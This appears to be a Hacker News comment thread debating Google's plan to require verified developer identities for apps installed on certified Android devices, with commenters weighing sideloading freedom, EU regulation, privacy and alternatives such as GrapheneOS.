Such a system would not only give users almost complete control over their privacy but also give them autonomy. Of course, opposition to such a scheme would be absolutely fierce, governments would demand higher access levels for nefarious and or unnecessary reasons, the Googles of this world would be furious as they'd lose access to meaningful data—what'd be left would be anonymized junk data that'd be effectively worthless to advertisers and data brokers.
Clearly, something that powerful which would give users considerable control over their lives wouldn't be allowed to happen! As Rousseau said in the opening sentence of his Social Contract "Man was born free but everywhere he is in chains". That was in 1762, seems nothing much has changed, the citizenry is still well under the thumb, and the rich and powerful remain so.
I see where you're coming from, but companies like Google have local legal representation (e.g. in Ireland for the EU), and have to operate under EU rules if they want to do business here (just like how a EU business has to operate under US rules). If the EU says that you should be allowed to do your own thing - and they have - then Google can either comply or leave.
Don't attribute more power to companies than they have - they want you to believe they can get away with this, but don't echo their rhetoric.
What does have weight is the European Union, which Croatia is a member of. If the EU parliament makes a law that Google is not allowed to have these kinds of rules and do business in the EU, then Google will listen. Given the horrible state of the US government, the EU is just about the only force left in the world able and willing to stand up against these tech giants in a way that forces them to pay attention and act responsibly.
The only thing you can expect from the EU is that it requires that apps in the EU market are signed with keys signed by the EU which you will only be able to get if you provide your ID or business registration.
Between Google and the EU I think I would rather be governed by the devil.
The whole point here is that this requirement is a vector by which states and state-like corporations can exert control over the internet. And the "inter" in internet is weakened by this.
https://www.androidheadlines.com/2025/07/eu-age-verification...
The EU has different parts. This probably violates a constraint imposed by a different part, which the part pushing this hasn't noticed yet.
This makes me laugh. Not at you, but at the cycle. This was the convo years ago when this was possible, but getting consumers to trust a 3rd party like PalmOS (which was actually pretty darn good compared to android) is practically not possible.
App devs only care about platforms with enough users, users only care about platform with enough 3rd party devs support.
But then again we still use visa/mastercard duopoly that allows you to make payments so long as your have their card number.
And then again x2; nothing will ever change, we live in a corporate hellscape where men in suits & ties make all the decisions, get themselves wealthier and the general public are too apathetic to band together on anything because they'd rather foot shoot than have someone not from their tribe receive a single cookie crumb.
In US, for example, their addresses are classified as Commercial Mail Receiving Agencies, and have a "Commercial" address designator. USPS has an API for that. If you get a bank to accept this address somehow, then the next trouble comes - they're gonna ask for utility bill for address verification and you can't have any utility bills for it.
More and more people are starting to see how you really own nothing anymore.
This totally sucks but is there anything preventing you from using your bank's website in-browser in your phone, other than the terrible UI, tiny text, and inability to select the correct checkbox?
How could this realistically happen? Developers of popular apps adore the control and illegitimate de-facto ownership that client side "trust" gives them, so they'll refuse to make apps for that platform. They'll also use said client side "trust" to block them. Thus, it can't reach critical mass to force adoption by these developers.
That's been the case since they got rid of removable batteries. You don't own a device you can't reliably turn off.
The computer owner in (a) is not creating "malware". Any arguments that "verification" is for the protection of users (not commercial benefit of Google) are inapplicable in (a). Unlike the software in (b) the software in (a) only runs on the computer owner's computer, not anyone else's computer. There is no need in the case of (a) for Google to know about what software is running on the computer owner's computer.^1 Surely Google would agree there is no need, i.e., no right, for a computer owner seeking "verification" to know what software is running on Google's computers or the identities of Google employees.
1. None that outweighs the owner's right to privacy. Microsoft, Apple and Google all use _default_ telemetry
https://gist.github.com/alirobe/7f3b34ad89a159e6daa1
https://github.com/cedws/apple-telemetry
https://apple.stackexchange.com/questions/437068/eliminating...
https://therecord.media/google-collects-20-times-more-teleme...
Of course people called him a paranoid and lunatic extremist, but in the end he was right and we are f*cked
I feel as an Android user, you've always had to put up with a more incoherent overall experience compared to iOS but received some additional freedom in return.
In recent years, Google has been steadily eroding their end of the bargain.
I wonder where that will leave them in the long term. Short term, I think restricting side loading will reduce piracy and drive sales of their subscriptions. Long term though, I wonder what will set Android devices apart from iOS for the average user, apart from being offered at different price points.
It feels they're playing themselves into a position where they're more directly competing with Apple, ultimately restricting themselves to lower price devices and lower margin sales. As far as walled gardens go, I personally prefer Apple's and I assume most people do.
This is a plot twist I never thought it would happen. While the EU [1], Japan [2] , UK [3] and Australia [4] are in the process of forcing Apple to allow sideloading and alternative App Stores, Google, which was far from these obligations, had taken a totally unexpected road to limit/control how sideloading should work.
____________________
1.https://developer.apple.com/support/dma-and-apps-in-the-eu/
2.https://www.phonearena.com/news/the-world-is-changing-japan-...
3.https://www.videogameschronicle.com/news/uk-passes-bill-whic...
4.https://www.theguardian.com/technology/2025/jun/06/australia...
This is just another 'it's only about money' move from Google. Only Google approved apps means monetised apps. Monetised means Google gets it's cut. Google gets richer. More in-app purchases, more ads, more money for Google
Customers? Eh. What? Huh? Who cares
If for safety, make it an opt-out feature, so the ones who know what they're doing can disable it.
Mandatory locking down is not for safety but for corporate control.
can we like... regulate the ** out of makers to force them to make bootloader unlocked & provide drivers (for linux) for their devices?
Stop making or maintaining Android apps. Make apps warn users about upcoming changes and why they'll lose access to the apps they love. Decrease Google's ecosystem appeal. Money is king.
Samsung used to have a very cool feature on their phones (perhaps they still do, I switched away from the galaxy line). It was called Knox and was basically containers for your apps.
Unfortunately it was limited to only one secure container. What I did was I had all my secure apps outside the container. And insecure inside. I had a fake address book that had only one phone number in "My Knox" and any app I installed there I could give all the file and address book permissions it wanted. As I knew it could only see what is inside.
That is what we need, but better. I never tried Graphene, but I wouldn't be surprised if there was such a feature thre already. It's kind of obvious.
Knox sounds like a pretty awesome feature though.
I use `nix-on-droid` on a Pixel 9 running stock Android 16. It provides me with a nix shell that gives me ZSH, Starship prompt, NeoVim, w3m, ssh, alpine, Claude-code, Circumflex (TUI HackerNews Client) and just about anything else I want from the Nix packages ecosystem. I even have NUR ( Nix User Repositories) set up. I daily drive NixOS for work and for Pleasure. It's the most advanced operating system I've ever encountered. I can't wax enough praise.
The closest thing to a truly open source, fully functional and daily used mobile that I ever had was the Nokia N900. Man how I miss that thing. Maemo was Nokia's original Linux-based mobile OS, which ran on the N900/950.
MeeGo was created when Nokia merged Maemo with Intel's Moblin project around 2010. It was supposed to be the future of Nokia smartphones, but Nokia abandoned it in 2011 when they switched to Windows Phone as their primary smartphone platform. Idiots.
Mer was created as an open-source continuation of MeeGo after Nokia dropped it.
Sailfish OS was then built on top of Mer by Jolla, a company founded by former Nokia employees who had worked on MeeGo.
Jolla launched in 2013 with the goal of continuing the Linux mobile vision that Nokia had abandoned. They make phones and tablets.
Guess we've arrived, I wish people voted with their wallets more, iOS could have added this a decade ago.
Since there are no viable alternatives, I guess it's time to go back to owning a cheap corporate/government approved phone for official business (i.e. banking), and another one that I actually use.
As an aside, the presentation[0] doesn't really go into the details how they will enforce this (on-device? Remotely? If the latter, can I just remove Play Services from my device to sideload whatever?), but you can apparently submit feedback about the verification process here[1].
[0]: https://goo.gle/play-console-android-developer-verification [1]: https://docs.google.com/forms/d/e/1FAIpQLSdpZbsJCS-f7CtMbZPn...
Just because Google has been generous enough (or inattentive enough) to allow Pixel devices to run alternative OSes is not a reason to avoid GrapheneOS. Also, the Graphene project is in discussions with a manufacturer to produce a non-Pixel phone running GrapheneOS.
And there are other AOSP derivatives which aren't restricted to Google devices.
Why would you buy a Google device as a response to Google restricting user freedom?
I seem to recall that Graphene's leaders maintain that Pixels are more secure when running Graphene than any other smartphone would be (when running Graphene), which is not surprising given how good in general Google is at security compared to other large tech companies.
If you swap the OS, you get the best of two worlds.
It's annoying combined with them making that much harder to be a verified developer. I had an android dev account for years and published an app when it was $20 for life but now there's a bunch of hassle involved. If they had the old $20 and upload your passport to prove id it wouldn't be so bad.
While I saw countries discussing the issue, none of them seemed to ask Google directly to only allow authorized third party apps.
That makes me think this is entirely a power move. If those countries had actually asked Google to step in and make phones safer, there are other ways to do that. And if they did explicitly request this particular solution, then why isn’t it being implemented only in those countries?
This is a software-based solution—just like Apple limits certain features to specific regions, Google could do the same and restrict it to the countries that require it.
How long is it until we see countries pushing to just delist Telegram, Signal, etc from the app stores?
The only way I want to engage with Google is when it cost them money. I will not give them a penny directly.
What the fuck is happening to computing and our personal devices.
Not 75%, not 80% and not 90% but literal 100% of adds YouTube served me for a week were financial scams. It sounds to me the quickest way to fight it, is to make ad publishers finally take responsibility for taking part in crime.
https://www.gnu.org/philosophy/free-sw.html#four-freedoms
Quote below:
The four essential freedoms
A program is free software if the program's users have the four essential freedoms: [1]
The freedom to run the program as you wish, for any purpose (freedom 0).
The freedom to study how the program works, and change it so it does your computing as you wish (freedom 1). Access to the source code is a precondition for this.
The freedom to redistribute copies so you can help others (freedom 2).
The freedom to distribute copies of your modified versions to others (freedom 3). By doing this you can give the whole community a chance to benefit from your changes. Access to the source code is a precondition for this.Note that 'security' here is only for Google itself, for users it's an utterly different thing, e.g., inconvenience, censorship, etc..
In Brazil, the Brazilian Federation of Banks (FEBRABAN) sees it as a “significant advancement in protecting users and encouraging accountability.”
It used to be a huge scandal because people (rightly) feared that it would enable Microsoft to have a say on what can be executed or not, or only allow DRM protected content to play.
GrapheneOS says they won't touch it because it's a cat-and-mouse game. I think that's the wrong call. DRM was the same, yet torrent trackers are still here.
rep_wex•1d ago
jajuuka•1d ago
ohdeargodno•1d ago
> Verify your identity
> * You will need to provide and verify your personal details, like your legal name, address, email address, and phone number. > * If you're registering as an organization, you'll also need to provide a D-U-N-S number and verify your organization's website. > * You may also need to upload official government ID.
Only one of those three applies to organizations.
>A note for student and hobbyist developers: we know your needs are different from commercial developers, so we’re creating a separate type of Android Developer Console account for you.
Nothing about it says anything about having lighter requirements, just not going through a Play Console link. Even if the requirements end up being "lighter", the minimum will always be at least "link a Google account", which is already a massive privacy breach.
> It also doesn't prevent you from side loading.
It absolutely does. Quoting from Google:
>Starting next year, Android will require all apps to be registered by verified developers in order to be installed by users on certified Android devices.
certified Android devices being... 99.9% of all Android devices in existence.
https://android-developers.googleblog.com/2025/08/elevating-...
jajuuka•1d ago
It's not a massive privacy breach. If you are so anti-Google yet use their devices then most likely you're already only distributing to GrapheneOS or LineageOS anyway. For most people who already have a Google account this is a very small bar to clear.
ohdeargodno•1d ago
Getting a DUNS number is ass, getting the 20 testers is ass, etc etc.
I do not want to give Google my government ID to write a shitty little app that only my family will use, or only close friends use and it gets sideloaded through sending it on chat. I do not want people making apps to skip ads on YouTube giving out their government ID. I do not want people making apps that might get them in trouble with their government to give out their government ID to Google.
rep_wex•1d ago
We do not know yet who will be considered "hobbyist". I would say they might check the user base. When hitting app installation threshold for let say 1,000 users, they will force you to pass the full legal check. Otherwise they will start blocking any further installations.